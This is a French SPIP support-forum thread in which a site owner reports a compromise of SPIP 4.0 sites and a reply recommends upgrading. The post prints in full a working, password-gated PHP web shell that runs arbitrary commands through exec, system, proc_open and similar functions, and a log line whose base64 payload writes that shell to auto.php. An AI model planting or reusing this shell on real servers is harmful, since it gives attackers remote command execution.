[Résolu] Alerte Critique de securite Spip 4.0.2 et anterieure

Bonjour La communaute Spip,

J’espere que vous vous portez bien. Depuis ce matin deux de mes sites spip sont sous attaque DDOS d’un type un peu particullier:

Version spip : 4.0

Description:

Le pirate a pu injecter deux fichier (peut etre plus) dans le serveur spip.

un fichier a la racine du site :

/response.php

contenant le code suivant :


<?php if(isset($_GET['k'])){function t($t){return @trim($t," \n\r\t");}function po($c){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$s);if(is_resource($p)){$o=@stream_get_contents($s[1]);@fclose($s[0]);@fclose($s[1]);@fclose($s[2]);@proc_close($p);return $o;}return false;}echo '#!#';$k=@base64_decode($_GET['k']);$c=@base64_decode(@file_get_contents('php://input'));if($k!==false&&$c!==false){if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){$f=array('exec','shell_exec','system','passthru','proc_open');$d=array();if(($g=@ini_get('disable_functions'))!==false)$d=@explode(',',$g);$o=false;foreach($f as $e){if(!in_array($e,$d)&&@function_exists($e)){switch($e){default:$o=false;case 'exec':if(@exec($c,$r)!==false)$o=t(@implode($r));break;case 'shell_exec':if(($r=@shell_exec($c))!==false)if($r!==null)$o=t($r);break;case 'system':case 'passthru':@ob_start();if(($e=='system'&&($r=@system($c))!==false)||($e=='passthru'&&($r=@passthru($c))!==false))$o=t(@ob_get_contents());@ob_end_clean();break;case 'proc_open':if(($r=po($c))!==false)$o=t($r);break;}}}if($o)echo @base64_encode($o);else echo 'EXEC_ERROR';}else echo 'AUTH_ERROR';}else echo 'REQUEST_ERROR';echo '#$#';}?>

Un autre fichier dans le dossier /ecrire

/ecrire/auto.php
/local/define.php

Que je supose contiene le meme code PHP.

Apres analyse du log serveur il se trouve que le pirate a pu executer la requete suivante :


[19/May/2023:13:49:12 +0000] « GET /ecrire/auto.php?k=JG5XUk11UjgiWzc/Qlc6dnRGdydte3pBKyZwOHZLW1Q=&c=ZWNobyAtbiAiUEQ5d2FIQWdhV1lvYVhOelpYUW9KRjlIUlZSYkoyc25YU2twZTJaMWJtTjBhVzl1SUhRb0pIUXBlM0psZEhWeWJpQkFkSEpwYlNna2RDd2lJRnh1WEhKY2RDSXBPMzFtZFc1amRHbHZiaUJ3Ynlna1l5bDdKR1E5WVhKeVlYa29NRDArWVhKeVlYa29KM0JwY0dVbkxDZHlKeWtzTVQwK1lYSnlZWGtvSjNCcGNHVW5MQ2QzSnlrc01qMCtZWEp5WVhrb0ozQnBjR1VuTENkM0p5a3BPeVJ3UFVCd2NtOWpYMjl3Wlc0b0pHTXNKR1FzSkhNcE8ybG1LR2x6WDNKbGMyOTFjbU5sS0NSd0tTbDdKRzg5UUhOMGNtVmhiVjluWlhSZlkyOXVkR1Z1ZEhNb0pITmJNVjBwTzBCbVkyeHZjMlVvSkhOYk1GMHBPMEJtWTJ4dmMyVW9KSE5iTVYwcE8wQm1ZMnh2YzJVb0pITmJNbDBwTzBCd2NtOWpYMk5zYjNObEtDUndLVHR5WlhSMWNtNGdKRzg3ZlhKbGRIVnliaUJtWVd4elpUdDlaV05vYnlBbkl5RWpKenNrYXoxQVltRnpaVFkwWDJSbFkyOWtaU2drWDBkRlZGc25heWRkS1Rza1l6MUFZbUZ6WlRZMFgyUmxZMjlrWlNoQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ozQm9jRG92TDJsdWNIVjBKeWtwTzJsbUtDUnJJVDA5Wm1Gc2MyVW1KaVJqSVQwOVptRnNjMlVwZTJsbUtFQnRaRFVvSkdzcFBUMDlKMlUzTldGallqSTNNVGN4TXpBd1pEbGlPVFEzTUdNME5HVmpOR014Wm1NMkp5bDdKR1k5WVhKeVlYa29KMlY0WldNbkxDZHphR1ZzYkY5bGVHVmpKeXduYzNsemRHVnRKeXduY0dGemMzUm9jblVuTENkd2NtOWpYMjl3Wlc0bktUc2taRDFoY25KaGVTZ3BPMmxtS0Nna1p6MUFhVzVwWDJkbGRDZ25aR2x6WVdKc1pWOW1kVzVqZEdsdmJuTW5LU2toUFQxbVlXeHpaU2trWkQxQVpYaHdiRzlrWlNnbkxDY3NKR2NwT3lSdlBXWmhiSE5sTzJadmNtVmhZMmdvSkdZZ1lYTWdKR1VwZTJsbUtDRnBibDloY25KaGVTZ2taU3drWkNrbUprQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0pHVXBLWHR6ZDJsMFkyZ29KR1VwZTJSbFptRjFiSFE2Skc4OVptRnNjMlU3WTJGelpTQW5aWGhsWXljNmFXWW9RR1Y0WldNb0pHTXNKSElwSVQwOVptRnNjMlVwSkc4OWRDaEFhVzF3Ykc5a1pTZ2tjaWtwTzJKeVpXRnJPMk5oYzJVZ0ozTm9aV3hzWDJWNFpXTW5PbWxtS0Nna2NqMUFjMmhsYkd4ZlpYaGxZeWdrWXlrcElUMDlabUZzYzJVcGFXWW9KSEloUFQxdWRXeHNLU1J2UFhRb0pISXBPMkp5WldGck8yTmhjMlVnSjNONWMzUmxiU2M2WTJGelpTQW5jR0Z6YzNSb2NuVW5Pa0J2WWw5emRHRnlkQ2dwTzJsbUtDZ2taVDA5SjNONWMzUmxiU2NtSmlna2NqMUFjM2x6ZEdWdEtDUmpLU2toUFQxbVlXeHpaU2w4ZkNna1pUMDlKM0JoYzNOMGFISjFKeVltS0NSeVBVQndZWE56ZEdoeWRTZ2tZeWtwSVQwOVptRnNjMlVwS1NSdlBYUW9RRzlpWDJkbGRGOWpiMjUwWlc1MGN5Z3BLVHRBYjJKZlpXNWtYMk5zWldGdUtDazdZbkpsWVdzN1kyRnpaU0FuY0hKdlkxOXZjR1Z1SnpwcFppZ29KSEk5Y0c4b0pHTXBLU0U5UFdaaGJITmxLU1J2UFhRb0pISXBPMkp5WldGck8zMTlmV2xtS0NSdktXVmphRzhnUUdKaGMyVTJORjlsYm1OdlpHVW9KRzhwTzJWc2MyVWdaV05vYnlBblJWaEZRMTlGVWxKUFVpYzdmV1ZzYzJVZ1pXTm9ieUFuUVZWVVNGOUZVbEpQVWljN2ZXVnNjMlVnWldOb2J5QW5Va1ZSVlVWVFZGOUZVbEpQVWljN1pXTm9ieUFuSXlRakp6dDlQejQ9IiB8IGJhc2U2NCAtZCA%2BICJhdXRvLnBocCI7 HTTP/1.1 » 200 317 « - » « python-requests/2.26.0 »


Ceci a eu pour effet de faire grimper la charge du serveur a plus de 100,100,100 ce qui a effectivement mis hors d’etat de servir des requete http normale en retournant chaque fois un code 500, ceci serait il du a une vulnerabulite spip ou ecran de securite connue ou alors serait-ce un cas nouveau.

Merci de vos commentaires et suggestions.

Bah, SPIP 4.0.2 n’est pas à jour, il faut au minimum installer la version 4.0.11
Voir Mise à jour critique de sécurité : sortie de SPIP 4.2.1, SPIP 4.1.8, SPIP 4.0.10 et SPIP 3.2.18

Merci.

On Fri, May 19, 2023 at 7:54 PM Jack31 via Discuter de SPIP <noreply@discuter.spip.net> wrote:

Jack31
Mai 19

Bah, SPIP 4.0.2 n’est pas à jour, il faut au minimum installer la version 4.0.11
Voir Mise à jour critique de sécurité : sortie de SPIP 4.2.1, SPIP 4.1.8, SPIP 4.0.10 et SPIP 3.2.18


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.